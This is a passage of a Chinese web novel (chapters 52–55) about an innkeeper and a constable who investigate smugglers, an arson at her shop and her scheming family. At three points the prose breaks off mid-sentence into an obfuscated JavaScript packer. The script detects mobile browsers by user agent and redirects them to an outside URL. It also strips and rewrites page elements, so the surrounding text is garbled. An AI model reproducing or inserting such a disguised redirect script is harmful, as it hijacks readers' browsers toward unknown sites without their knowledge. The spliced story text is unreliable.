衣角都被她攥得皱皱巴巴的。 梆子声渐行渐远,冬夜又将恢复寂静。 也许只是自己吓自己,黎映真这样安慰自己。 夜里静,衬得那梆子声清晰,自然也不会放过渐近的脚步声。 很快,像是跑来的。 但又不稳,听着像是跌跌撞撞的。 黎映真冲出去,掀开棉帘,一只脚才跨出门槛的瞬间,一个高大的身影压下来。 对方衣上的寒意将她裹住,她缩了缩脖子,双手却是张着抱扶住面前高大的人影,焦急问道:“你怎么样?” 不平稳的呼吸声自头顶传来,黎映真被那山一样的身影压着步步后退,又不得不用力帮他支撑,艰难地退回大堂里。 扶着人坐下,她才看清李弦那身深灰色的衣袍上沾满了尘土和污渍,发髻有些散乱,像是逃难过来的。 多日未见的那张脸,此刻也带着难以掩饰的疲惫,嘴唇干裂,眼底满是血丝。 她忙去后院倒了盆热水过来,拿了毛巾就替他将脸上的风霜先擦了,再将额前鬓边散乱的头发都拢好。 “这还有点人样。”挖苦的话脱口而出,黎映真在盆里洗着擦脸的巾子,“饿吗?我去给你拿吃的,都热着呢。” 没听见李弦回答,她拧着巾子又问了一声:“说话,饿不饿?” 发现往日懒散却机敏含笑的那双眼睛,此刻像是失了魂似的怔怔看着自己,黎映真正拧巾子的手不由停了下来,热水顺着她的指尖落回盆里。 滴答一声,台上的烛火好似跟着动了一下。 心跳仿佛漏了一拍。 她低头,重新在水里搓起了巾子,再麻利地拧干,递给李弦。 终于想起,方才她捧着他的脸,掌心里这会儿才开始发烫。 将巾子一下推去李弦脸上,黎映真扭头就去后厨拿吃的。 未曾看见有人双手捧着那块巾子,半晌都没回过神,少见的傻里傻气。 黎映真送吃的过来时,李弦才把洗了脸的水倒去门外。 “你先坐下吃点东西,我来关门。”她往门口走,跟李弦面对面时,手里被塞了那只空盆。 “我来吧。”李弦嗓子里跟被喂了刀片似的,声音哑了不少。 刚回来时还一副虚弱模样,只是擦了把脸的工夫,他又有了力气,很快就将门板都落好,这才坐去吃东西。 跟他这一身窘态相呼应,李弦此时吃饭也是狼吞虎咽,黎映真看着都觉得很下饭。 她在他身后抿唇一笑,当坐去他身边时却收敛了笑意,静静等他吃完。 给他留的饭菜转眼见了底,黎映真想去再拿些糕点,才起身就被拉住了手,她只得坐了回去。 李弦放下碗筷,倒是开门见山,交代实情来了:“这几日忙着布线,今晚捣毁了贼人在县里的几个仓库,抓了一些人,还截了点儿货。” “不怕打草惊蛇?” “未尝不是引蛇出洞。” 看他眼底已恢复了往日的清明,黎映真总算安心了。 可见他眉心仍皱着,她问道:“不顺利?” “跑了一个。”他的声音沉了下去,“核心人物之一,没留意,让他金蝉脱壳了。” 听见他叹了一声,继续道:“我们行动已经够快了,但他们似乎提前收到了风声。” “你是说有内鬼?”她追问道。 李弦不置可否,显然他也不能确定是对方的防备足够充分,还是的确是自己的人出了问题。 看他神色越发凝重,黎映真猜到情况必然不止如此,再问道:“还有事?” “跑掉的那个叫钱老六,是裕丰行明面上的东家之一。”李弦道。 “姓钱?那跟那个钱老板?”黎映真震惊之余从李弦的神情中得到了肯定的答案,而且那个裕丰行还出现在那本册子上。 “我和你说这些是给你做个准备。”李弦道,“这件事黎家应该是脱不了关系了,就看要牵扯多少人进来。” “我跟黎家的帐一笔一笔都记得清楚,证据都在,至少,我是不怕查的。” “我从来没有不放心你。” 这话说得好听,可黎映真想起今日赵淮说的那些话,不由在心底“切”了这人一声。 “李弦,我这样做,你会不会觉得我很冷血?”黎映真问道,“怎么说我都是黎世昌的女儿,如果黎家真的出了事,我只顾撇清自己的关系,你会觉得我不是个好人吗?” “那你呢?我此时要查你家,你会认为我是恶人吗?”李弦反问。 烛火冥冥,映着两人各怀心事的眉眼,长久,都未有人再说话。 还是李弦先去捏那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145470|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火苗,光线暗了一瞬,才教黎映真回神,还让她以为是灯火灭了不由失声。 “以前跟你说过,夜里开店不安全,今晚来的若是个歹人该如何?”李弦依旧捏着那粗火苗焰心玩,视线渐渐落去黎映真身上,也认真,却不是方才那股严肃沉重的味道。 “不是有咱们李捕快就算是大半夜也要过来我这小店转一圈,真有歹人那还能让他逃了?”她一手托着腮,一手在桌上画着圈,垂落着视线不去看他,好像这样,他就不能从自己身上看出她这阴阳怪气之外的心绪来。 总是不想再口舌上落下风,不想他知道,她担心,所以才用这笨办法,试着等他回来,为他留一盏灯。 可是这样的等待,太熬人了。 “李弦。” 她放软了的口吻让李弦原本又要去捏火苗的手顿住,他收回手,坐得端正,道:“我在。” “下回你再去办那些危险的事,如果能说就先跟我说一声吧。”在桌面上打圈的指尖越来越慢,最后停住,收拢,渐渐握成了拳。 方才垂落的目光渐渐抬起,落在正烧着的那缕烛火上,她道:“我……我讨厌这样要靠自己的猜测去等一个不确定的结果。哪怕只是说一句,你去办事了,至少我能踏实点儿。” 输就输吧,在李弦面前没少赢,输一次,又有什么关系。 忽地一阵疾风过境,风声漏进客栈,连桌上的烛火都为之一跳。 光线暗下的瞬间,黎映真发现李弦的眉头动了动。 “怎么了?”她问道。 两人说了这么久的话,她才想起这人才回来的时候连路都快走不稳了。 “拿人嘛,动了手难免受伤。”他倒抽了口气,又赶忙解释道,“没伤筋动骨,就是些皮外伤,歇两天就好。” 黎映真关心道:“我看看。” 他却是躲开了,道:“黎掌柜好心,送瓶金创药给我就可。” 这人少有扭捏就必有蹊跷,可黎映真又知道,他不想说的必然不会告诉她。 她转头就去找了外用的药膏出来,还没开口,李弦就像是怕她多问似的,抢先道:“还有件事要跟你说。” 看他说得认真,黎映真不敢怠慢,将药递给她,不觉自己的思绪就这样被他牵着走了。 “你说。”她重新坐下。 看李弦直接将药瓶收进袖袋里,她多少还是不放心的,可当想再问,只被他沉沉的目光又吸引了注意,便仔细听他继续说。 “我查到周坚失踪前,在永利赌坊欠下的最后一笔巨债,债主就是钱老六的一个手下。” 所以原本那些看来并无关联的人和事其实早就纠缠在了一起。 那个试图通过周嫂陷害自己的人,也许比她以为的有更复杂的背景? 还是,这一切只是巧合? 前一刻出现在她眉眼间的震惊,和眼下的疑惑都被李弦一一看在眼里,他缓缓道:“所以周嫂失踪这条线,我会并案继续查。” 虽已没人再将她和那桩命案联系在一起,但没有找到真正的凶手,于她而言始终是个厘不清的麻烦。 但原来,李弦一直记得。 看着李弦在火光下沉毅的眉眼,黎映真有些失神,只觉得哪怕是窘迫失态,这人眼里也跟落满了星星似的,不止是好看,还教她无比安心,让她不由自主地愿意相信他。 神游天外的结果便是当李弦将桌上的碗筷都收拾了,黎映真才回过神。 忙按住李弦的手,她道:“又抓人又受伤的,你去歇着吧,后厨还有热水,伤口清理干净了再睡。” 托着木案才转身,她又听见李弦叫她。 “怎么了?”她问道。 李弦嘴角微微翘着,眼底眸光闪动,柔声与她道:“我先去歇了。嗯……跟你说一声。” 黎映真回过味来,因他有意隐瞒而生的不悦算因此淡了不少。 可还有些恼,不想搭理他。 没走两步,她又听身后那人道:“我可跟你说了,你听见没?” 嘴角没压住,但好在没笑出声,她自然是不会因他这话就停下的,便接着往后院去,若无其事道:“有人说话吗?” 谁让这人不识好歹,她能偶尔输一回,哪能连着在他跟前输呢。 53. 第 53 章 自李弦带回有关周坚的消息后,一切又恢复了平静,好似什么都没发生一般。 客来居的生意依旧红火,吴二也时常带来码头上的情况,所有的事都按部就班地进行着,但黎映真心底那根弦却始终紧绷着。 这晚,雪又悄无声息地下了起来。 客栈打烊后,黎映真照理检查了一遍门窗,才吹灭了大堂部分的灯,外头就传来了猛烈的拍门声。 “啪!啪!啪!” 又重又急,恨不能直接砸穿了门冲进来似的。 “掌柜的,不好了!”赵淮焦急的喊声透过门板传来,“掌柜的!” 黎映真立即拆了门板,还没来得及放下,便听见外头的赵淮道:“走水了!五味轩走水了!” 赶往五味轩的路上,飞雪渐密,落在黎映真发间肩头,连眉上都沾了雪子。 直到将近那冲天的火舌下,寒意才仿佛被那一阵猛烈的热意烧化,雪融成水,滴滴沁入她眉发衣衫。 衙门值夜的差役收到消息,已赶到现场,领着附近的街坊正在救火。 现场一片混乱,人声嘈杂,黎映真看见赶来的伙计也在帮忙救火,唯独没有见着吴二。 “官爷,可瞧见我们铺头吴管事从里头出来?” 赵淮的询问声传来,黎映真立即上前,问他道:“吴二在里头?” “今儿核月账,比平日打烊晚一些,管事省得麻烦就说宿在铺子里。”赵淮一面答,一面往火场里张望。 “情况如何?” 李弦的声音穿过吵嚷人声在黎映真耳畔响起,她顺势回头,瞧着那被火光照亮的半边脸,慌忙上去道:“吴二可能还在里头。” 一旁的差役道:“来的时候火势已经很大,我们没办法进去,不能确定里头是否有人。” “啊!” 人群中忽然爆发出惊呼,本就被火光照亮的夜幕下,又一条巨大的火舌直冲天际。 手臂被拽住的瞬间,黎映真的身体被用力拽向火场相反的方向,同时一道身影挡在她跟前,将那忽然盛大的火势与她隔绝。 是熟悉的、属于李弦的气息,她被护在他怀里,紧紧抓着他的手臂。 耳边是“轰隆”一声,像是有什么东西坍塌,听得她心惊肉跳,立即睁开双眼,视线越过李弦肩头,望着那数丈高的火焰,颤着声道:“吴二,吴二可能还在里面。” “在这等我。” 尾音仿佛还在耳畔回旋,眼前的身影已轻推了她一把,夺下一个救火街坊手中的水桶,朝自己身上当头浇去。 “李……”黎映真才动了身形,又被拉住。 “掌柜的,危险,不能去!”阿桃的声音近在身旁,她也是听见消息赶忙过来的。 黎映真只能眼睁睁看着李弦冲进火场。 “李哥!” “李捕快!” 惊呼声四起,黎映真却仿佛被那句“在这等我”定住了身形,望着翻卷的火焰和浓烟,眨眼间吞没了李弦那挺拔的身影。 雪越下越大,冰冷的雪花落在她颊上,寒凉的感受拉回了黎映真被惊愕席卷的思绪。 眼前是来回提水的百姓,她很快收拾了情绪,加入救火的队伍中。 终于,在众人全力扑救下,火势得到了控制。 细密的飞雪里,只剩下缕缕黑烟从焦黑的断壁残垣中升起。 白日里还人来人往的五味轩,此刻已是一片狼藉的废墟。 然而,废墟前,没有李弦和吴二的身影。 夜是黑的,坍塌烧毁的房屋也是黑的,她在这一片黑漆漆的景象里,看不到一丝期盼中的影子。 “李弦!吴二!”她一面喊着,一面试图走入那片废墟。 “掌柜的,危险。”阿桃拦着她道,“这些梁子随时可能塌,你不能进去。” “已经让人去找李哥了,黎掌柜,你耐心等等吧。”不知何时赶来的老梁,一面抹着脸上不知是汗水还是化开的雪水,一面劝道。 “我不该……”黎映真看着那些岌岌可危的木柱危墙,声音控制不住地发颤,“不该跟他说吴二在里头……我该拉着……” 一想起那个冲入火场的背影,她便全身发麻,好似话都没法再说,断断续续了好几次,才勉强说完这句,身子抖得越发厉害。 她走近老梁,恳求道:“老梁,找快……找快一点好不好?他进……进去……已经……久……很久了……” “掌柜的,没事儿,不会有事的。”阿桃一手扶着黎映真,一手轻轻抚着她的背,温言软语地哄着,“咱们李捕快多厉害,一定不会有事的。” 她的每一次呼吸都不再顺畅完整,一抽一噎地,身子甚至做不出明显的反应,只是转过视线看着阿桃,既不点头,也不摇头。 是不能。 她好像有些控制不住这具身体,即便她很想点头回应阿桃。 “黎映真。”一个熟悉却沙哑的声音从身后传来。 她听见同时从身后发出的惊喜呼声,也看见老梁兴奋地朝着声音的方向跑去。 身后的动静,她都听见了,自然也听见急匆匆靠近过来的脚步声。 已是落如鹅毛的雪里,李弦浑身沾着烟灰和污渍站在她面前,额发被汗水与雪水黏在一起,狼狈极了。 可这夜色雪光又似乎偏爱他,只教黎映真看着他依旧闪亮的眼眸,这样窘迫的时候,还含着满满笑意,好看极了。 “我把吴二带出来了,吸了几口烟,先让老梁送去找大夫了。”李弦注意到她的异常,紧张道,“你怎么了?” “动……动不了。”她吸了吸鼻子,平复着情绪,“扶我一把。” 他看了看满身脏污的自己,迟疑道:“我去把阿桃找回来吧。” “就你。”她像是豁出去一般,用着仅剩的力气“命令”道,“扶我一把。” 被李弦扶住的那一刻,那股架着身子的力量被瞬间抽走,她踉跄一步,险些撞进那人怀里。 鼻底都是他身上沾染的焦木味,呛得她咳了一声。 身上的麻劲儿还没过,因这动静,她又有些站不住,到底不争气地磕去了李弦身上。 头顶传来一声低笑时,连带着落下一片阴影。 又一次被罩在熟悉的暖意里,黎映真前一刻还抵在李弦心口的手,不由地收紧,攥住他的衣襟。 “雪大了,我先送你回去。”柔声说道后,李弦闷咳了几声,显然嗓子不舒服。 抬头时,黎映真恰看见他特意扭过去的侧脸,同样沾了乌黑的痕迹。 她抬手,指尖鬼使神差地靠近。 不想李弦又转回脸来,她的指尖恰触上他的唇。 柔软的触感,却像是烫着了她。 缩回手的瞬间,她心虚得好像做了坏事被发现似的,一味地低头,不觉此时的动作像极了她自己将额头抵上李弦心口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148321|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李弦低头,怕她听不清一样,凑近了些,道:“跟你说件事。” “嗯?”黎映真抬头,又一次落入他浅笑的眼眸里,“什么事?” “我这胳膊抬半晌了,你行行好,容我换个姿势。”他笑意更甚。 这会儿身体知觉恢复了不少,黎映真忙从李弦怀里退开,下意识摸了摸脸——还有些烫,但夜里应该看不出来吧。 放下手时,目光从指尖滑过,她又想起方才那个意外,便解释道:“你脸上脏了,我……我想给你擦来着。” 她头一回知道,说实话居然都会觉得不踏实,心里七上八下的,教她一双手都无处安放,一会儿在身前绞得十根指头乱成一团,一会儿又藏去身后不停地搓,总也静不下来。 李弦正拍着身上的落雪,听她没头没尾地一句,起先愣了愣,再含含糊糊地应了一声:“嗯。” 黎映真不知他究竟听没听明白,只见他错开自己身边去找老梁交代了几句,才又回到自己面前。 “这儿交给老梁他们吧,我先送你回去。”说着,他在黎映真身前半蹲下去,道:“上来。” 她摇头道:“我能自己走。” “我不放心。”他拍了拍自己后肩,“雪又大了,我背你还能快些回去。” 见黎映真没动,李弦扭过头,道:“不是说我脸上脏?你顺道帮我擦擦。帮人帮到底嘛。” 最后那句说的模棱两可,不知说的是谁帮谁。 黎映真回头看了一眼还在指挥众人处理现场的老梁,又想到自己和李弦这会儿的确不适合留下,于是提步道:“我说了自己能走。” 麻劲儿所剩无多,她多走几步也就忍过去了。 没走多远,身体彻底恢复。 一个声音又不合时宜地响起:“搭档,250!刚才热度值一下子冲破250了!现在还在上升。” “李弦。”她停下脚步,忽然改口道,“能背我吗?” 那人不发一语,只是嘴角翘得更高,又是那样半蹲在她面前,没有丝毫犹豫。 黎映真伏上李弦的背,双臂搂去他颈间时,身子便被稳稳托起。 她还是不习惯,下意识搂紧了些,听得李弦加重了的呼吸声,她以为是自己下手没轻没重,道:“弄疼你了?我不是故意的。” 正要松开些,却听他道:“有劳黎掌柜借我取暖了。” 他这样一说,黎映真才觉得夜深雪密,的确比出来时更冷了。 又想起他方才为了救人,把自己都淋湿了。如今外头的袍子被火烤干了不少,里头的衣服应该还湿着。 于是,她干脆重新搂紧李弦,几乎贴在他耳畔道:“你走你的,别管我等会儿有什么反应。” 感觉到身子又被向上托了一把,在李弦向前迈出的脚步里,她似乎贴得他更近。 脸颊擦过他的后颈,浓烈真实的热意自那领口传来,已是对她无声的回应。 她放下最后一丝拘谨,完全伏在李弦背上,感受着来自那稳健步伐里的安定,合上双眼,在脑海中写下一句话—— 放弃五味轩,多启客来居分号。 细雪中前行的身影忽地一顿,已在唇齿间徘徊欲出的名字还是因着那一句“别管”被硬生生咽了下去。 又听见背上传来一声忍痛的低吟,李弦眉心紧锁,只得加快往客来居去的脚步,却还是忍不住偏过头,柔声安慰道:“再忍一忍,就快到家了。” 54. 第 54 章 黎映真醒来已是翌日大早。 冬季晨间的清寒融在每一缕空气里,冷得她就算意识模糊依旧本能地裹紧了盖在身上的被子。 但这触感和平日不一样,总也不舒服。 扭捏了一阵,她忽地坐起身,方才想起昨晚发生的事。 她被李弦背着回来,路上有意试探了系统,确定触发了关键词…… 并且反复尝试了好几次,最后在系统连番的刺激下失去了知觉。 她不知最后是几时回的客栈,但看着自己身上完好的衣服,想来只能是李弦草草照顾她歇息的。 看看时辰,已比平日开店晚了多时,黎映真立即起身梳洗。 五味轩出了事,客来居还得照旧做生意,只是她要先去看吴二,便给阿桃做了交代。 她这才知道,李弦昨晚上一直留在客栈,还是今早阿桃来了,两人碰了面,那人才走的。 跟着李弦留给阿桃的话,黎映真先往医馆去。 昨夜的雪该是到后半夜就停了,没留下多少痕迹,只是这天明显又冷了不少,她出门时没注意,这会儿裹紧了身上的袄子,缩了身子快步往医馆走。 她一路低着头,脚步匆忙,到医馆时也只顾往里头冲,不妨跟人撞了正着。 垂落的视线只瞧见一双皂靴的鞋尖,她已下意识认定是李弦,抬头便问道:“吴二怎么样?” 出来的确是李弦,还有跟着一块儿来的副手。 及时伸手拉了黎映真一把,又见她急匆匆的模样,脸上不知是走得太急才发红,还是被冻的,他只立刻将人拉进医馆里头,又朝副手使了个眼色。 待副手走了,他才皱着眉,不悦道:“什么天儿就穿这些在外头跑,着凉了……” 声音又闷又哑,跟黏在喉口似的。 话音未落,一声“阿嚏”打断了他少见的对黎映真的数落。 不妨被劈头盖脸说了一通,黎映真有些懵,但见这人又连着打了好几个喷嚏,昨晚上他当头给自己浇了一桶水就冲进火场救人的情景又浮现在眼前。 抿了抿嘴角,她道:“你着凉了?这还要当值?” 他这一身公服甲胄,一看就是办差来的。 “嗯。”李弦点头,像是没听出黎映真话语间的关切和那点别扭,大大咧咧道,“县里出了这么大的事,我能当不知道?才来看过吴二也问了话,还有其他事要办,这就该走了。” 身子才动,脚下却没挪,他又嘱咐黎映真道:“回头多穿点儿。” 她没来得及回应,李弦就走了。 视线追着他的背影而去,又听见他打了几个喷嚏,惹得她心里一阵愧疚,却又不好耽搁他去办正事。 收回目光,黎映真去看望吴二。 因昨晚在火场里吸入了过多浓烟,吴二喉咙受损,说话困难,精神也显得有些萎靡恍惚,显然是被大火吓得不轻。 黎映真坐在床边,温声安慰了许久,终于让吴二的情绪平复了一些,她才询问昨夜大火之事。 提起这事,吴二又不安起来,用沙哑微弱的气音断断续续地说道:“掌柜的……火……火好大……我闻到……好刺鼻的味道……然后就……就烧起来了……跑……跑不及……” 五味轩做的吃食生意,铺子里不会有气味刺鼻的东西。 如果有,必定是外人带进来的。 再是关联到失火的情况,很有可能是有人蓄意纵火。 事发时,吴二已睡下,除了被惊醒后看到满眼的火光,他没有见到任何可疑的人,也就没办法给黎映真提供线索。 真要追查下去,还是要寻求李弦的帮助。 只是在此之前,已有不速之客找上了她。 午市后的客栈冷清了一些,黎映真跟阿桃他们一起收拾大堂。 察觉有人进了客栈,她转身正欲迎客,但见着那穿了簇新袄子却面色沉肃的黎世昌,才爬上她嘴角的笑容立即消失了。 更遑论,那惯拿着一家之主架子的黎世昌身边,还跟着正蹙眉打量客栈的郑氏。 将人迎去后院的房间,待阿桃上了茶,黎映真才淡淡问道:“爹今日怎么得空过来?” 黎世昌重重叹了口气,眉间拧出了一个疙瘩,道:“昨夜五味轩的事,我们都听说了。” 黎映真没接话,更没去看黎世昌。 “你说说,这接二连三地出事,你又是一个姑娘家,爹这心里……”又是一声沉长的叹息,黎世昌端起茶杯啜了一口,方才道,“实在是不安得很呐。” “是啊真姐儿。”郑氏眼见黎映真仍没有应声的意思,立即接上话茬,“老爷晨起听说昨晚的事担心得不得了,赶着忙完手头的事儿这就过来了!” 黎映真这才面对黎世昌,面色不改,稍软了口吻,道:“多谢爹关心,我很好。” 她这不咸不淡的样子只教黎世昌脸色更沉。 郑氏自然看得出来,于是干脆上前,走近黎映真道:“要姨娘说,你还是听你爹的话,暂且搬回家去住。这客栈嘛……终究是外头的营生,让你弟弟文远先替你看着。他是男丁,又是自家人,总好过你一个女儿家抛头露面。你放心,这客栈是你的,只是让文远帮帮你。” 郑氏刻意讨好的嘴脸固然让黎映真不屑,但归根究底,还是因为黎世昌默许。 她挪开一步,与郑氏错开身,收敛了几分棱角,与黎世昌道:“客栈到底是我娘留下的心血,我这个做女儿的不敢假手于人。这些事儿,我还撑得住。再说,家里的事都需要爹亲自处理,看来黎文远确实忙不过来,我哪里好意思再麻烦他。” 见她油盐不进,黎世昌语气加重了几分,斥道:“撑?你拿什么撑?这次是烧了五味轩,下次呢?万一那些歹人盯上你呢?你让我……让你死去的娘,如何能安心?” 他这话说得冠冕堂皇,仿佛真是担忧黎映真的安危。 郑氏见状,脸上的假笑也淡了下去,嘴角撇了撇,阴阳怪气起来,道:“映真,不是姨娘说你。你一个未出阁的姑娘家,整日在这迎来送往,抛头露面,本就不是什么体面事。如今更好,外面那些风言风语,你可听见了?” “没听见呢,也不想听。”黎映真施施然坐下,正想继续同黎世昌说话,却被郑氏打断。 “姑娘家名节多重要,你跟那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152526|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李弦,这孤男寡女的,三天两头凑在一处,成何体统?”郑氏硬凑到黎映真跟前,咄咄逼人道,“咱们黎家在这成安县,好歹也是有名有姓的体面人家。你做事之前总要考虑咱们黎家的脸面。眼下那些流言蜚语传得……你爹的脸面都让人踩在地上了!这叫什么?这叫有辱家风门楣!” 说到激动处,郑氏真已面红耳赤,真像是试图教导家里不成器的后生晚辈那般,从头到家都是一副语重心长的模样。 偏生黎映真波澜不惊,视线从郑氏那张通红的脸上扫过,仍是那副不屑一顾的神情,与黎世昌道:“说起来,我除了该叫郑姨娘,也可以叫一声表姨吧?” 郑氏前一刻还张红的脸瞬间煞白,那咄咄相逼的视线变得闪烁不定,慌忙着退到黎世昌身边,不做声了。 黎世昌眉间的沟壑更深,仍端着家主的架子,道:“陈年旧事,提来做什么。” “没什么,顺着郑姨娘的话,凑巧想起来而已。”黎映真佯装整理起袖子来,眸光已然冰冷了许多。 郑氏本是原身母亲的远方表妹,当初为了逃灾来成安县投奔,结果就此长住在黎家不走。 原身母亲病了,郑氏更是“好心”照料,只是这一照顾,就照顾到了黎文远出生。 黎映真无意揣摩先人对此的态度,只是凭借着原身的记忆,将郑氏和黎世昌早年的苟且作为对她污蔑的还击。 如今看着那两人一个面沉如水,额角青筋隐现欲怒难发,一个垂眼沉默,心虚至极,她便在心里好笑。 她原就着“有辱家风门楣”这个几个字,该当面将郑氏勾搭表姐夫、珠胎暗结、活活气死原配的事都说出来,可想着这二人今日突然上门必有蹊跷,兴许后头还需接触打探,便暂且将这些话都咽下。 站起身,黎映真维持着表面的客气,与黎世昌道:“爹的关心,女儿谨记在心。实在是手头事情也多,爹如果没有其他事,我就不留人了。至于爹的意思,我也记在心里了,毕竟是自家人,我这间客来居尚且应付得了,但以后其他客来居……倒真说不定要家里帮衬。” 话到一半,一阵尖锐的刺痛又在黎映真脑海中炸开,但她硬忍了下来。 只是袖管里的手攥得指节发白,中衣被冷汗沁湿大半,而她的嘴角勉强勾起了一抹浅淡的笑意。 黎世昌这才缓和了神色,缓缓起身,仍不忘敲打黎映真道:“早听爹的话,也不至于吃苦。你再好好想想,自己家人总比外人靠得住。” 送走了黎世昌和郑氏,黎映真趁午后空闲,分别去拜访了五味轩里的其他伙计,一来安抚,二来也是想从自己的视角多了解一些关于铺子经营里她可能忽略的细节。 不过收获寥寥,从表面上的确找不到明显有用的线索。 这样直到日落西山,黎映真拖着一身疲惫回到客来居,待做完了晚市的生意,早早便让阿桃他们先回去。 她却没有立即打烊。 夜幕降临,黎映真独自在大堂里坐着,拨弄着盆里的炭火,心事重重。 直到听见冬夜寒风里送来的脚步声,她不禁抬头,看着门口的棉帘抬起,等着期待中的那个身影出现。 55. 第 55 章 棉帘只是被推出一个不大的缺口,李弦小心却也动作迅速地挤了进来,转头便去关门、落锁,将冬夜寒意挡在外头。 看他熟练地去落门板,黎映真起身往后厨去,再回大堂时,那人正落好了最后一块门板,搓着手坐去炭盆边想要烤火。 “给我准备的?”李弦一面取暖,一面伸长了脖子想看看黎映真拿了什么好东西出来。 黎映真没作答,只放了托盘去桌上,坐下道:“后厨剩下的。” 李弦嘿嘿笑着,端起那盅腾着热气的药膳汤喜滋滋地喝了起来。 一盅热汤喝完,通体舒畅,李弦舒展着眉眼,还在回味唇齿间的留香,却见黎映真若有所思,关心问道:“心情不好?” 黎映真抬眸看他,没有立刻作答,而是先问道:“五味轩的事查得怎么样了?吴二说当时闻到了刺鼻的味道。” 李弦随即敛了神色,点头道:“确实发现了火油,泼洒得很刁钻,是从后院不起眼的角落点的火,目的就是让火势快速蔓延,不易扑救。 “现场找到了一些脚印,虽然杂乱但有几个还算清晰可辨,不是码头常见的厚底鞋,更像城里游手无赖穿的薄底快靴。” 他顿了顿,继续道:“火势猛,目的明确,但只烧五味轩,不碰客来居,更像是警告。” “警告?”黎映真疑惑道,“警告我?” 李弦不置可否,只是凝神不语,眼底尽是迟疑顾虑。 黎映真有些急了,催促道:“你的意思是放火的人不敢动客来居,还是对我有所顾忌,所以只挑了五味轩下手?” 烛火里,李弦眸光越发深沉,像是在听黎映真说话,又仿佛早就出了神,在想其他的事。 这样深重的疑虑,让黎映真明白事情绝对不会这么简单。 她咬唇,静静看了李弦许久。 烛上火苗在他眼中跳动,他却始终沉浸在不曾与她说明的思绪中,不见其他波动。 “是不是你在现场还找到了其他东西?”她终于忍不住,不安地向李弦提问。 “嗯。”他答得干脆,像是下意识的反应,待回过神,触上黎映真关切真诚的目光,他垂眸,又犹豫了一会儿才道,“也许也是对我的警告。” 心头骤然一震,黎映真追问道:“什么意思?” “警告我查案追得紧,也警告我,五味轩的主人与我走得近。”李弦道,轻轻推了那只空的陶盅到黎映真跟前。 尚有余温的陶盅触上手背,黎映真不由动了动手指,眉间眼底和此刻李弦一样,除了对整件事的顾虑猜疑,还有对对方的担心。 “你手里案子背后的人,不仅能精准地警告你,还会顾虑我身后的人,知道这么多事,他绝对不普通,也……一直在暗中关注着。”她轻声说着,渐渐握住那只陶盅,任由烛火也在自己眼里明明灭灭,迟迟不敢接着说下去。 大堂内由此变得安静,只有炭火燃烧的声音。 哔哔啵啵,也像是一点点在她心头蚕食着关于李弦的心绪。 “所以是我连累你了。”李弦叹道,满是歉意,“原本你好好做着生意,如今遭这无妄之灾。” 虽对未知之事抱有忐忑不安,可听李弦这样说,黎映真反倒不高兴。 比郑氏说她跟李弦过从甚密、有辱门楣更生气些。 瞧出她脸上泛起两人方才见面时的恼意,李弦凑近过去,柔声哄了起来,道:“现在能跟我说为何方才心情不好了吗?” 知道他又想岔开话题,黎映真也不纠缠,回应着他此刻温柔的注视,道:“我爹来过了。” 她将黎世昌借五味轩失火之事施压,想让她回家、交出客栈的事一一说给李弦听。 至于那些“有辱门楣”的事,她不想说。 她的家里只有她一个人,家风如何由她自己说了算。 跟李弦交往相处,发乎于现实需要,止乎于道德底线,没有辱没他们之间任何一人,根本算不上问题。 听他说完,李弦挑眉看着黎映真,语调玩味,道:“所以咱们黎掌柜就这么客气地把人请走了?” 以为这人是在挖苦自己从前行事“剽悍、疯癫”,黎映真没好气地瞪了他一眼,道:“原来李捕快是这么看我的?” 李弦摇头道:“我的意思是,说话还是客气了。” “啊?”没料到李弦会是这个意思,黎映真忍俊不禁,垂眉试图掩饰涌上脸颊的热意。 她扭着头有意避开李弦的目光,直到心头那阵窃喜平复下去,她才重新去看李弦,认真道:“他们来得太蹊跷了。五味轩刚出事,他们就上门,句句不离客栈。我当时以为五味轩的火或许和他们,或者说和黎文远也脱不了干系。至少,他们是知情或者乐见其成的。现在撕破脸,反而打草惊蛇。” 在李弦眼底漾开的笑意里满是赞赏,只是一到开口,他又带着那股调侃的劲儿,道:“无论火是谁放的,你手里这根线的确可以再放长一些。” 似乎捕捉到李弦的弦外之音,黎映真隐隐有些得意,问道:“你这是在求我做事?” 李弦点了点那只空了的陶盅,道:“求求黎掌柜了。” 她却拿起乔来,道:“就剩这最后一盅了。” “黎掌柜向来大气,特意等我,岂会只有这些东西?”李弦自是胸有成竹,抱臂相待,眉眼弯弯,嘴角高翘。 “谁等你了。”黎映真眸中亦是盈满笑意,目光自李弦身上往后厨瞟。 李弦会意,起身道:“我垫垫饥就走,你早些歇着吧。” 黎映真跟着站起,亟亟问道:“这么晚了,你去哪儿?” 